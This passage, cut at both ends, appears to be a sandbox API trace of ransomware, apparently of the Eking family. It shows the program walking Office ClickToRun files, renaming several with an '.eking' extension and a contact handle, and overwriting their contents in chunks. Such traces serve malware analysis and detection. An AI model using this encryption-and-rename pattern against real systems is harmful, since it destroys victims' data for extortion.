CloseHandle (hObject=0x2f0) returned 1 [0277.262] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0277.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll")) returned 0x20 [0277.263] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0277.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\ApiClient.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\apiclient.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.263] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0277.263] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=656088) returned 1 [0277.264] CloseHandle (hObject=0x2f0) returned 1 [0277.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0277.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll")) returned 0x20 [0277.264] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0277.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVCatalog.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcatalog.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.264] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0277.265] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=2054872) returned 1 [0277.265] CloseHandle (hObject=0x2f0) returned 1 [0277.265] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe")) returned 0x20 [0277.265] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0277.266] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\appvcleaner.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvcleaner.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0277.266] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9a0 | out: lpNewFilePointer=0x0) returned 1 [0277.266] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9a0 | out: lpNewFilePointer=0x0) returned 1 [0277.266] ReadFile (in: hFile=0x2f0, lpBuffer=0x34d3058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310f9ac, lpOverlapped=0x0 | out: lpBuffer=0x34d3058*, lpNumberOfBytesRead=0x310f9ac*=0x40000, lpOverlapped=0x0) returned 1 [0277.279] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x310f9a0 | out: lpNewFilePointer=0x0) returned 1 [0277.281] ReadFile (in: hFile=0x2f0, lpBuffer=0x3513058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310f9ac, lpOverlapped=0x0 | out: lpBuffer=0x3513058*, lpNumberOfBytesRead=0x310f9ac*=0x40000, lpOverlapped=0x0) returned 1 [0277.290] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x310f9a0 | out: lpNewFilePointer=0x0) returned 1 [0277.290] ReadFile (in: hFile=0x2f0, lpBuffer=0x3553058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310f9ac, lpOverlapped=0x0 | out: lpBuffer=0x3553058*, lpNumberOfBytesRead=0x310f9ac*=0x40000, lpOverlapped=0x0) returned 1 [0277.534] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb10 | out: lpNewFilePointer=0x0) returned 1 [0277.534] WriteFile (in: hFile=0x2f0, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0xc0112, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0xc0112, lpOverlapped=0x0) returned 1 [0277.946] SetEndOfFile (hFile=0x2f0) returned 1 [0277.947] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x1b5ad8, lpNewFilePointer=0x0, dwMoveMethod=0x310f9a8 | out: lpNewFilePointer=0x0) returned 1 [0277.947] WriteFile (in: hFile=0x2f0, lpBuffer=0x359314a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310f9b4, lpOverlapped=0x0 | out: lpBuffer=0x359314a*, lpNumberOfBytesWritten=0x310f9b4*=0x40000, lpOverlapped=0x0) returned 1 [0277.950] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0xa739d, lpNewFilePointer=0x0, dwMoveMethod=0x310f9a8 | out: lpNewFilePointer=0x0) returned 1 [0277.950] WriteFile (in: hFile=0x2f0, lpBuffer=0x359314a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310f9b4, lpOverlapped=0x0 | out: lpBuffer=0x359314a*, lpNumberOfBytesWritten=0x310f9b4*=0x40000, lpOverlapped=0x0) returned 1 [0277.953] SetFilePointerEx (in: hFile=0x2f0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9a8 | out: lpNewFilePointer=0x0) returned 1 [0277.953] WriteFile (in: hFile=0x2f0, lpBuffer=0x359314a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310f9b4, lpOverlapped=0x0 | out: lpBuffer=0x359314a*, lpNumberOfBytesWritten=0x310f9b4*=0x40000, lpOverlapped=0x0) returned 1 [0277.954] CloseHandle (hObject=0x2f0) returned 1 [0277.955] SetEvent (hEvent=0x2a0) returned 1 [0277.957] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0277.958] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=210648) returned 1 [0277.958] CloseHandle (hObject=0x2fc) returned 1 [0277.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20 [0277.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll")) returned 0x20 [0277.958] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0277.958] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvStreamingManager.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstreamingmanager.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.958] SetEvent (hEvent=0x2a0) returned 1 [0277.959] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2fc [0277.959] GetFileSizeEx (in: hFile=0x2fc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=1402584) returned 1 [0277.959] CloseHandle (hObject=0x2fc) returned 1 [0277.959] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20 [0277.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll")) returned 0x20 [0277.960] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0277.960] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvSubsystemController.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystemcontroller.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0277.960] SetEvent (hEvent=0x2a0) returned 1 [0277.961] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0277.962] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=1761448) returned 1 [0277.962] CloseHandle (hObject=0x2dc) returned 1 [0277.962] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll")) returned 0x20 [0277.962] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 1 [0277.963] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems32.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems32.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0277.963] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9a0 | out: lpNewFilePointer=0x0) returned 1 [0277.964] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9a0 | out: lpNewFilePointer=0x0) returned 1 [0277.964] ReadFile (in: hFile=0x2dc, lpBuffer=0x34d3058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310f9ac, lpOverlapped=0x0 | out: lpBuffer=0x34d3058*, lpNumberOfBytesRead=0x310f9ac*=0x40000, lpOverlapped=0x0) returned 1 [0277.975] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x310f9a0 | out: lpNewFilePointer=0x0) returned 1 [0277.977] ReadFile (in: hFile=0x2dc, lpBuffer=0x3513058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310f9ac, lpOverlapped=0x0 | out: lpBuffer=0x3513058*, lpNumberOfBytesRead=0x310f9ac*=0x40000, lpOverlapped=0x0) returned 1 [0278.177] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x310f9a0 | out: lpNewFilePointer=0x0) returned 1 [0278.177] ReadFile (in: hFile=0x2dc, lpBuffer=0x3553058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x310f9ac, lpOverlapped=0x0 | out: lpBuffer=0x3553058*, lpNumberOfBytesRead=0x310f9ac*=0x40000, lpOverlapped=0x0) returned 1 [0278.220] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb10 | out: lpNewFilePointer=0x0) returned 1 [0278.220] WriteFile (in: hFile=0x2dc, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0xc0122, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0xc0122, lpOverlapped=0x0) returned 1 [0278.541] SetEndOfFile (hFile=0x2dc) returned 1 [0278.541] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x16e0a8, lpNewFilePointer=0x0, dwMoveMethod=0x310f9a8 | out: lpNewFilePointer=0x0) returned 1 [0278.541] WriteFile (in: hFile=0x2dc, lpBuffer=0x359315a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310f9b4, lpOverlapped=0x0 | out: lpBuffer=0x359315a*, lpNumberOfBytesWritten=0x310f9b4*=0x40000, lpOverlapped=0x0) returned 1 [0278.544] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x8f58d, lpNewFilePointer=0x0, dwMoveMethod=0x310f9a8 | out: lpNewFilePointer=0x0) returned 1 [0278.544] WriteFile (in: hFile=0x2dc, lpBuffer=0x359315a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310f9b4, lpOverlapped=0x0 | out: lpBuffer=0x359315a*, lpNumberOfBytesWritten=0x310f9b4*=0x40000, lpOverlapped=0x0) returned 1 [0278.548] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310f9a8 | out: lpNewFilePointer=0x0) returned 1 [0278.548] WriteFile (in: hFile=0x2dc, lpBuffer=0x359315a*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x310f9b4, lpOverlapped=0x0 | out: lpBuffer=0x359315a*, lpNumberOfBytesWritten=0x310f9b4*=0x40000, lpOverlapped=0x0) returned 1 [0278.759] CloseHandle (hObject=0x2dc) returned 1 [0278.943] SetEvent (hEvent=0x2a0) returned 1 [0278.944] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0278.944] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=567512) returned 1 [0278.944] CloseHandle (hObject=0x2dc) returned 1 [0278.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20 [0278.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll")) returned 0x20 [0278.945] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0278.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvVirtualization.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvvirtualization.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.945] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0278.946] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=1231576) returned 1 [0278.946] CloseHandle (hObject=0x2dc) returned 1 [0278.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20 [0278.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll")) returned 0x20 [0278.946] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0278.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVManifest.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvmanifest.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.947] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0278.947] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=947928) returned 1 [0278.948] CloseHandle (hObject=0x2dc) returned 1 [0278.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20 [0278.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll")) returned 0x20 [0278.948] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0278.948] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVOrchestration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvorchestration.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.948] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0278.949] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=1295576) returned 1 [0278.949] CloseHandle (hObject=0x2dc) returned 1 [0278.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20 [0278.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll")) returned 0x20 [0278.949] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0278.949] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVPolicy.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvpolicy.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0278.950] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0278.952] GetFileSizeEx (in: hFile=0x2dc, lpFileSize=0x310fb50 | out: lpFileSize=0x310fb50*=512216) returned 1 [0278.952] CloseHandle (hObject=0x2dc) returned 1 [0278.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20 [0278.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll")) returned 0x20 [0278.952] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0278.952] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2dc [0278.952] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0278.953] SetFilePointerEx (in: hFile=0x2dc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x310fb18 | out: lpNewFilePointer=0x0) returned 1 [0278.953] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVScripting.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvscripting.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x2d8 [0278.953] ReadFile (in: hFile=0x2dc, lpBuffer=0x34d3020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x310fb24, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesRead=0x310fb24*=0x7d0d8, lpOverlapped=0x0) returned 1 [0278.977] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x7d0e0, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: lpBuffer=0x34d3020*, lpNumberOfBytesWritten=0x310fb08*=0x7d0e0, lpOverlapped=0x0) returned 1 [0279.159] WriteFile (in: hFile=0x2d8, lpBuffer=0x34d3020*, nNumberOfBytesToWrite=0x102, lpNumberOfBytesWritten=0x310fb08, lpOverlapped=0x0 | out: 